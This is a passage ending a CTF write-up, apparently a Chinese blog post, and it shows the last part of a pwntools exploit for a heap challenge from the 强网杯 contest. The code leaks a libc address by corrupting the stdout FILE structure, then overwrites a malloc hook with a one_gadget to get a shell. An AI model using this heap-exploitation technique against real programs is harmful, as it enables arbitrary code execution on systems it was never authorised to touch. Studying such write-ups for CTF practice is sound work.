        edit(4,"\x00\n")
        edit(0,"\xdd\x25\n")

        add(0x68)#1
        add(0x68)#2
        add(0x68)#9
        edit(9,"\x00"*3+p64(0)*6+p64(0xfbad1800) + p64(0)*3 + "\x00\n")
        p.recvuntil("\x7f\x00\x00")
        addr=u64(p.recv(8))+0x7ffff7a0d000-0x7ffff7dd26a3
        print hex(addr)

        p.sendline("3")
        p.sendlineafter(":\n","2") # 0 2
        edit(0,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000)+"\n")
        add(0x68) 
        add(0x68)
        edit(10,"\x00"*0x13+p64(addr+0xf0364)+"\n")

        add(0x10)

        #gdb.attach(p)
        p.interactive()

    except:
        print "fail"

感谢风沐云烟、 railgun 师傅的指点!

内容来源

强网杯-Nu1L

posted @ 2020-08-30 23:08  PwnKi  阅读(1209)  评论(0编辑  收藏  举报